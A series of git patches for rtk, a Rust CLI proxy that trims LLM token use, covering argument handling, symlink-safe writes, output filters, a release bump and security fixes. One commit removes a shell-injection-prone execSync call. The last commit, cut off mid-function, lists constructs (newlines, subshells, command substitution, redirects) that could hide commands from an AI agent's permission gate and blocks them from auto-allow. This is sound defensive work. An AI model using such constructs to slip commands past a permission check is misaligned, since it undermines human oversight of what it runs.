vec!["rtk", "git", "diff", "--stat", "--cached"], + vec!["--stat", "--cached"], + ), + ]; + for (raw, parsed) in cases { + assert_eq!(restore_with_raw(&parsed, &raw), parsed); + } + } + + // ============ Edge cases ============ + + #[test] + fn test_duplicate_args_both_sides() { + // -p pkg1 -p pkg2 -- -p pkg3 → restore after last -p + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "p1", "-p", "p2", "--", "-p", "p3", + ]; + let parsed = vec!["-p", "p1", "-p", "p2", "-p", "p3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "p1", "-p", "p2", "--", "-p", "p3"] + ); + } + + #[test] + fn test_empty_args() { + let raw = vec!["rtk", "cargo", "test"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), Vec::::new()); + } + + #[test] + fn test_cargo_clippy_missing_dash() { + // No "--" in original → no injection + let raw = vec!["rtk", "cargo", "clippy", "-D", "warnings"]; + let parsed = vec!["-D", "warnings"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); + } + + // ============ Git diff specific cases ============ + + #[test] + fn test_git_diff_ref_before_path() { + // rtk git diff HEAD -- file + let raw = vec!["rtk", "git", "diff", "HEAD", "--", "file"]; + let parsed = vec!["HEAD", "file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["HEAD", "--", "file"]); + } + + #[test] + fn test_git_diff_flags_before_path() { + // rtk git diff --cached -- file + let raw = vec!["rtk", "git", "diff", "--cached", "--", "file"]; + let parsed = vec!["--cached", "file"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--cached", "--", "file"] + ); + } + + #[test] + fn test_git_diff_multiple_files() { + // Original issue: multiple files caused "fatal: bad revision" + let raw = vec!["rtk", "git", "diff", "--", "file1", "file2", "file3"]; + let parsed = vec!["file1", "file2", "file3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "file1", "file2", "file3"] + ); + } +} diff --git a/src/core/mod.rs b/src/core/mod.rs index fe017d910d..d5182bd340 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -1,5 +1,6 @@ //! Building blocks shared across all RTK modules. +pub mod args_utils; pub mod config; pub mod constants; pub mod display_helpers; From 508192dbdcc6a1a753afbd0c87f7255886fad2ea Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Mon, 25 May 2026 15:50:17 +0200 Subject: [PATCH 180/204] fix(init): preserve settings.json symlink during atomic write atomic_write() replaced symlinked settings.json with a regular file. Now resolves symlink targets before the tempfile+rename so the link itself is preserved and the real file gets updated. Covers both absolute and relative symlink targets. Closes #653 --- src/hooks/init.rs | 74 ++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 70 insertions(+), 4 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 0b18557195..713ad3187e 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -383,13 +383,37 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> } } +/// Resolve the final write target: if `path` is a symlink, follow it so +/// the atomic rename lands on the real file and the symlink is preserved. +fn resolve_atomic_target(path: &Path) -> Result { + if let Ok(meta) = fs::symlink_metadata(path) { + if meta.file_type().is_symlink() { + let link_target = fs::read_link(path) + .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; + if link_target.is_absolute() { + return Ok(link_target); + } + let parent = path.parent().with_context(|| { + format!( + "Cannot resolve relative symlink for {}: no parent directory", + path.display() + ) + })?; + return Ok(parent.join(link_target)); + } + } + Ok(path.to_path_buf()) +} + /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt +/// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let parent = path.parent().with_context(|| { + let target = resolve_atomic_target(path)?; + let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", - path.display() + target.display() ) })?; @@ -403,10 +427,10 @@ fn atomic_write(path: &Path, content: &str) -> Result<()> { .with_context(|| format!("Failed to write {} bytes to temp file", content.len()))?; // Atomic rename - temp_file.persist(path).with_context(|| { + temp_file.persist(&target).with_context(|| { format!( "Failed to atomically replace {} (disk full?)", - path.display() + target.display() ) })?; @@ -5349,6 +5373,48 @@ mod tests { assert_eq!(written, content); } + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let target_path = temp.path().join("real-settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(&target_path, &link_path).expect("create symlink"); + + atomic_write(&link_path, "{\"hooks\":{}}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"hooks\":{}}"); + } + + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_relative_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let subdir = temp.path().join("real"); + fs::create_dir(&subdir).unwrap(); + let target_path = subdir.join("settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(Path::new("real/settings.json"), &link_path).expect("create relative symlink"); + + atomic_write(&link_path, "{\"patched\":true}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"patched\":true}"); + } + // Test for preserve_order round-trip #[test] fn test_preserve_order_round_trip() { From f1474b4c12ec3a3d9f8e46b14bfd8b2d70119137 Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Sun, 31 May 2026 11:15:38 +0200 Subject: [PATCH 181/204] fix(init): use fs::canonicalize for symlink resolution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Simplify resolve_atomic_target() per review feedback — fs::canonicalize handles chained symlinks, relative paths, and all edge cases. Co-authored-by: Roopesh --- src/hooks/init.rs | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 713ad3187e..4c68ec49b2 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -385,31 +385,15 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> /// Resolve the final write target: if `path` is a symlink, follow it so /// the atomic rename lands on the real file and the symlink is preserved. -fn resolve_atomic_target(path: &Path) -> Result { - if let Ok(meta) = fs::symlink_metadata(path) { - if meta.file_type().is_symlink() { - let link_target = fs::read_link(path) - .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; - if link_target.is_absolute() { - return Ok(link_target); - } - let parent = path.parent().with_context(|| { - format!( - "Cannot resolve relative symlink for {}: no parent directory", - path.display() - ) - })?; - return Ok(parent.join(link_target)); - } - } - Ok(path.to_path_buf()) +fn resolve_atomic_target(path: &Path) -> PathBuf { + fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()) } /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt /// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let target = resolve_atomic_target(path)?; + let target = resolve_atomic_target(path); let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", From 41285725e446706204943d826d89e19608df0c03 Mon Sep 17 00:00:00 2001 From: patrick Date: Wed, 27 May 2026 23:37:15 +0200 Subject: [PATCH 182/204] fix(gh): show fallback note when PR/issue body is filtered to empty When `filter_markdown_body()` strips a PR or issue body to empty (body contained only badges, images, HTML comments, or horizontal rules), `format_pr_view` and `format_issue_view` previously skipped the body section silently. Users had no indication that body content had been present and filtered. Now both views emit a fallback note when the filtered body is empty but the raw body was not: PR view: (body contained only badges/images/comments) Issue view: Description: (body contained only badges/images/comments) The 4 added tests cover: - PR body with only badges/images/comments -> fallback note appears - PR body with real content -> no fallback note (sanity) - PR body empty (raw) -> no fallback note (no signal to give) - Issue body badges-only -> fallback note appears Closes #235 Co-authored-by: polaminggkub-debug --- src/cmds/git/gh_cmd.rs | 87 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index 156b81e2a1..01cf2ac398 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -434,6 +434,8 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n (body contained only badges/images/comments)\n"); } } } @@ -694,6 +696,8 @@ fn format_issue_view(json: &Value) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n Description: (body contained only badges/images/comments)\n"); } } } @@ -1547,4 +1551,87 @@ ___ assert!(result.contains("## Test Plan")); assert!(result.contains("Filter HTML comments")); } + + #[test] + fn test_format_pr_view_body_badges_only_shows_fallback_note() { + // PR body that filter_markdown_body would strip entirely: + // HTML comments, badge links, image-only lines, horizontal rules. + let body = "\n\ + [![CI](https://shields.io/badge.svg)](https://ci.example.com)\n\ + ![screenshot](https://example.com/img.png)\n\ + ---\n"; + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": body, + }); + let out = format_pr_view(&json, false); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when body filters to empty, got:\n{}", + out + ); + } + + #[test] + fn test_format_pr_view_body_with_content_no_fallback_note() { + // Sanity check: real content should NOT trigger the fallback note. + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "## Summary\nFix the thing.\n", + }); + let out = format_pr_view(&json, false); + assert!( + !out.contains("(body contained only badges/images/comments)"), + "fallback note should not fire when body has real content, got:\n{}", + out + ); + assert!(out.contains("## Summary")); + assert!(out.contains("Fix the thing.")); + } + + #[test] + fn test_format_pr_view_empty_body_no_fallback_note() { + // Empty body should not trigger the note either (nothing to flag). + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "", + }); + let out = format_pr_view(&json, false); + assert!(!out.contains("(body contained only badges/images/comments)")); + } + + #[test] + fn test_format_issue_view_body_badges_only_shows_fallback_note() { + let body = "\n\ + [![status](https://shields.io/s.svg)](https://example.com)\n"; + let json = serde_json::json!({ + "number": 99, + "title": "Test Issue", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/issues/99", + "body": body, + }); + let out = format_issue_view(&json); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when issue body filters to empty, got:\n{}", + out + ); + } } From f69ad6ed6f3f17b66e203613e3015fee517783f9 Mon Sep 17 00:00:00 2001 From: xiaozh Date: Mon, 1 Jun 2026 00:00:43 +0800 Subject: [PATCH 183/204] fix(go): respect build failure exit status Gate go build success output on the child exit code and surface unrecognized non-zero build output instead of reporting success. Closes #2185. --- src/cmds/go/go_cmd.rs | 68 +++++++++++++++++- src/core/runner.rs | 156 ++++++++++++++++++++++++++++-------------- 2 files changed, 168 insertions(+), 56 deletions(-) diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index e962e3e1ca..a39e8bb1bd 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -92,11 +92,11 @@ pub fn run_build(args: &[String], verbose: u8) -> Result { eprintln!("Running: go build {}", args.join(" ")); } - runner::run_filtered( + runner::run_filtered_with_exit( cmd, "go build", &args.join(" "), - filter_go_build, + filter_go_build_with_exit, crate::core::runner::RunOptions::with_tee("go_build"), ) } @@ -571,6 +571,10 @@ fn is_go_test_failure_line(line: &str) -> bool { /// Filter go build output - show only errors pub(crate) fn filter_go_build(output: &str) -> String { + filter_go_build_with_exit(output, 0) +} + +fn filter_go_build_with_exit(output: &str, exit_code: i32) -> String { let mut errors: Vec = Vec::new(); for line in output.lines() { @@ -581,7 +585,11 @@ pub(crate) fn filter_go_build(output: &str) -> String { } if errors.is_empty() { - return "Go build: Success".to_string(); + return if exit_code == 0 { + "Go build: Success".to_string() + } else { + format_go_build_failure(output, exit_code) + }; } let mut result = String::new(); @@ -604,6 +612,37 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.trim().to_string() } +fn format_go_build_failure(output: &str, exit_code: i32) -> String { + let lines: Vec = output + .lines() + .map(str::trim) + .filter(|line| !line.is_empty()) + .map(str::to_string) + .collect(); + + if lines.is_empty() { + return format!("Go build: failed (exit {})", exit_code); + } + + let mut result = String::new(); + result.push_str(&format!("Go build: failed (exit {})\n", exit_code)); + result.push_str("═══════════════════════════════════════\n"); + + const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; + for (i, line) in lines.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { + result.push_str(&format!("{}. {}\n", i + 1, truncate(line, 120))); + } + + if lines.len() > MAX_GO_BUILD_ERRORS { + result.push_str(&format!( + "\n… +{} more output lines\n", + lines.len() - MAX_GO_BUILD_ERRORS + )); + } + + result.trim().to_string() +} + fn is_go_build_error_line(line: &str) -> bool { let trimmed = line.trim(); if trimmed.is_empty() { @@ -646,6 +685,7 @@ fn is_go_build_error_line(line: &str) -> bool { "go: build failed", "go: error ", "error: ", + "pattern ", "go: updates to go.mod needed", "go: inconsistent vendoring", "no go files in ", @@ -991,6 +1031,28 @@ go: cannot load module missing listed in go.work file: open missing/go.mod: no s assert!(result.contains("go: cannot load module missing listed in go.work file")); } + #[test] + fn test_filter_go_build_preserves_package_pattern_errors() { + let output = r#"pattern ./...: directory prefix . does not contain main module or its selected dependencies +pattern ./...: directory prefix . does not contain modules listed in go.work or their selected dependencies"#; + + let result = filter_go_build(output); + assert!(result.contains("2 errors")); + assert!(result.contains("does not contain main module")); + assert!(result.contains("does not contain modules listed in go.work")); + assert!(!result.contains("Success")); + } + + #[test] + fn test_filter_go_build_nonzero_exit_never_reports_success() { + let output = "opaque go build failure from stderr"; + + let result = filter_go_build_with_exit(output, 1); + assert!(result.contains("Go build: failed (exit 1)")); + assert!(result.contains(output)); + assert!(!result.contains("Success")); + } + #[test] fn test_filter_go_vet_no_issues() { let output = ""; diff --git a/src/core/runner.rs b/src/core/runner.rs index 17f0997da0..571c7634b2 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -62,12 +62,79 @@ impl<'a> RunOptions<'a> { } } +pub type CaptureFilter<'a> = Box String + 'a>; +pub type ExitAwareCaptureFilter<'a> = Box String + 'a>; + pub enum RunMode<'a> { - Filtered(Box String + 'a>), + Filtered(CaptureFilter<'a>), + FilteredWithExit(ExitAwareCaptureFilter<'a>), Streamed(Box), Passthrough, } +fn run_captured_filter( + mut cmd: Command, + tool_name: &str, + cmd_label: &str, + filter_fn: F, + opts: RunOptions<'_>, + timer: tracking::TimedExecution, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + let stdin_mode = if opts.inherit_stdin { + StdinMode::Inherit + } else { + StdinMode::Null + }; + let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) + .with_context(|| format!("Failed to run {}", tool_name))?; + + let exit_code = result.exit_code; + let raw = &result.raw; + let raw_stdout = &result.raw_stdout; + + if opts.skip_filter_on_failure && exit_code != 0 { + if !result.raw_stdout.trim().is_empty() { + print!("{}", result.raw_stdout); + } + if !result.raw_stderr.trim().is_empty() { + eprint!("{}", result.raw_stderr); + } + timer.track(cmd_label, &format!("rtk {}", cmd_label), raw, raw); + return Ok(exit_code); + } + + let text_to_filter = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + let filtered = filter_fn(text_to_filter, exit_code); + + if let Some(label) = opts.tee_label { + print_with_hint(&filtered, raw, label, exit_code); + } else if opts.no_trailing_newline { + print!("{}", filtered); + } else { + println!("{}", filtered); + } + + let raw_for_tracking = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + timer.track( + cmd_label, + &format!("rtk {}", cmd_label), + raw_for_tracking, + &filtered, + ); + Ok(exit_code) +} + pub fn run( mut cmd: Command, tool_name: &str, @@ -79,58 +146,22 @@ pub fn run( let cmd_label = format!("{} {}", tool_name, args_display); match mode { - RunMode::Filtered(filter_fn) => { - let stdin_mode = if opts.inherit_stdin { - StdinMode::Inherit - } else { - StdinMode::Null - }; - let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) - .with_context(|| format!("Failed to run {}", tool_name))?; - - let exit_code = result.exit_code; - let raw = &result.raw; - let raw_stdout = &result.raw_stdout; - - if opts.skip_filter_on_failure && exit_code != 0 { - if !result.raw_stdout.trim().is_empty() { - print!("{}", result.raw_stdout); - } - if !result.raw_stderr.trim().is_empty() { - eprint!("{}", result.raw_stderr); - } - timer.track(&cmd_label, &format!("rtk {}", cmd_label), raw, raw); - return Ok(exit_code); - } - - let text_to_filter = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - let filtered = filter_fn(text_to_filter); - - if let Some(label) = opts.tee_label { - print_with_hint(&filtered, raw, label, exit_code); - } else if opts.no_trailing_newline { - print!("{}", filtered); - } else { - println!("{}", filtered); - } - - let raw_for_tracking = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - timer.track( - &cmd_label, - &format!("rtk {}", cmd_label), - raw_for_tracking, - &filtered, - ); - Ok(exit_code) - } + RunMode::Filtered(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, _| filter_fn(text), + opts, + timer, + ), + RunMode::FilteredWithExit(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, exit_code| filter_fn(text, exit_code), + opts, + timer, + ), RunMode::Streamed(filter) => { let result = stream::run_streaming(&mut cmd, StdinMode::Null, FilterMode::Streaming(filter)) @@ -182,6 +213,25 @@ where ) } +pub fn run_filtered_with_exit( + cmd: Command, + tool_name: &str, + args_display: &str, + filter_fn: F, + opts: RunOptions<'_>, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + run( + cmd, + tool_name, + args_display, + RunMode::FilteredWithExit(Box::new(filter_fn)), + opts, + ) +} + pub fn run_passthrough(tool: &str, args: &[std::ffi::OsString], verbose: u8) -> Result { if verbose > 0 { eprintln!("{} passthrough: {:?}", tool, args); From 89ae19b1cff8251e1b8a0ed590510bef2688bb7d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Wed, 3 Jun 2026 14:01:32 +0200 Subject: [PATCH 184/204] fix(grep): command token duplication in output withsame value filename or positional arg --- src/core/args_utils.rs | 96 +++++++++++++++++++++++------------------- 1 file changed, 52 insertions(+), 44 deletions(-) diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs index f5418b0cc8..e431783fb2 100644 --- a/src/core/args_utils.rs +++ b/src/core/args_utils.rs @@ -1,23 +1,27 @@ //! Utility functions for argument handling, particularly for restoring "--" escape //! arguments that clap consumes during parsing. -/// Restores "--" escape arguments that clap consumed. -/// Handles: -/// - Single/multiple "--" swallowed by clap (restores each at its original position) -/// - "--" already present in parsed (no change) -/// - No "--" in original command (no injection) -/// - Args appearing before/after "--" in original (preserves order) -/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") -/// - Duplicate args on both sides of "--" +/// Restores `--` tokens that clap consumed when using `trailing_var_arg = true`. /// -/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed -/// (meaning clap didn't consume any, or preserved them). +/// Returns `parsed_args` unchanged when `raw_args` has the same or fewer `--` tokens +/// than `parsed_args` (nothing was consumed). Otherwise restores all consumed `--` at +/// their original positions by returning the user-args suffix of `raw_args` verbatim. pub fn restore_double_dash(parsed_args: &[String]) -> Vec { let raw_args: Vec = std::env::args().collect(); restore_double_dash_with_raw(parsed_args, &raw_args) } /// Testable version that takes raw_args explicitly. +/// +/// Precondition: all callers use `trailing_var_arg = true`, which guarantees that +/// `parsed_args` is the exact suffix of `raw_args` minus any `--` tokens that clap +/// stripped. This makes the user-args region length-deterministic: +/// +/// user_region_len = parsed_args.len() + missing_dashes +/// user_region_start = raw_args.len() - user_region_len +/// +/// Returning `raw_args[user_region_start..]` restores all stripped `--` tokens at +/// their original positions without any value-based matching. pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); @@ -26,36 +30,15 @@ pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) return parsed_args.to_vec(); } - // Find all positions of "--" in raw_args (skip index 0 = "rtk") - let mut dash_positions: Vec = Vec::new(); - for (i, arg) in raw_args.iter().enumerate().skip(1) { - if arg == "--" { - dash_positions.push(i); - } - } + let missing_dashes = raw_dash_count - parsed_dash_count; + let user_region_len = parsed_args.len() + missing_dashes; - if dash_positions.is_empty() { + if raw_args.len() <= user_region_len { return parsed_args.to_vec(); } - // Build result by inserting "--" at correct positions relative to parsed args - let mut result = Vec::new(); - let mut raw_idx = 1; // start after "rtk" - let mut dash_idx = 0; - - while raw_idx < raw_args.len() { - // Check if current position is a "--" that was swallowed - if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { - result.push("--".to_string()); - dash_idx += 1; - } else if parsed_args.contains(&raw_args[raw_idx]) { - // This arg is in parsed_args, add it - result.push(raw_args[raw_idx].clone()); - } - raw_idx += 1; - } - - result + let user_region_start = raw_args.len() - user_region_len; + raw_args[user_region_start..].to_vec() } #[cfg(test)] @@ -119,14 +102,6 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); } - #[test] - fn test_compound_command_with_dashes() { - // Multiple segments with "--" → restore all - let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; - let parsed = vec!["file"]; - assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); - } - // ============ "--" already present (no change needed) ============ #[test] @@ -206,6 +181,39 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); } + // ============ Positional collision with command token ============ + + #[test] + fn test_positional_equals_subcommand() { + // rtk git diff -- diff: filename "diff" same value as subcommand token + let raw = vec!["rtk", "git", "diff", "--", "diff"]; + let parsed = vec!["diff"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "diff"]); + } + + #[test] + fn test_cargo_test_named_cargo() { + // rtk cargo test cargo -- --nocapture: test named "cargo" + let raw = vec!["rtk", "cargo", "test", "cargo", "--", "--nocapture"]; + let parsed = vec!["cargo", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["cargo", "--", "--nocapture"] + ); + } + + #[test] + fn test_consecutive_dashes_before_file() { + // rtk git diff -- -- file: stable regardless of how many "--" clap consumed + let raw = vec!["rtk", "git", "diff", "--", "--", "file"]; + // Case A: clap consumed one, kept second as positional + let parsed_a = vec!["--", "file"]; + assert_eq!(restore_with_raw(&parsed_a, &raw), vec!["--", "--", "file"]); + // Case B: clap consumed both + let parsed_b = vec!["file"]; + assert_eq!(restore_with_raw(&parsed_b, &raw), vec!["--", "--", "file"]); + } + // ============ Git diff specific cases ============ #[test] From 1bb17f4fd18ef9470ba5a0c1341a35b26819da39 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 185/204] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..8ff76c9a2a 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 9664e27038e90730f4ecc52aa2d3b8b8458093e6 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Wed, 3 Jun 2026 12:37:40 +0000 Subject: [PATCH 186/204] chore(master): release 0.42.1 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 7 +++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 57953081c6..cede7a525d 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.0" + ".": "0.42.1" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 572d8b8cc7..f9003c4175 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,13 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) + + +### Bug Fixes + +* **openclaw:** no execSync to avoid async dangerous cmds ([1bb17f4](https://github.com/rtk-ai/rtk/commit/1bb17f4fd18ef9470ba5a0c1341a35b26819da39)) + ## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) diff --git a/Cargo.lock b/Cargo.lock index 8b259e2abe..b71ed64a84 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.0" +version = "0.42.1" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 5b91bb4cae..6aa2ea2c33 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.0" +version = "0.42.1" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From cdcdb6863a3df709603dbed0a6205bf16e4e635f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 187/204] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++++++ src/hooks/hook_cmd.rs | 383 ++++++++++++++++++++++++++++----------- src/hooks/permissions.rs | 157 +++++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++++-- 4 files changed, 772 insertions(+), 130 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + 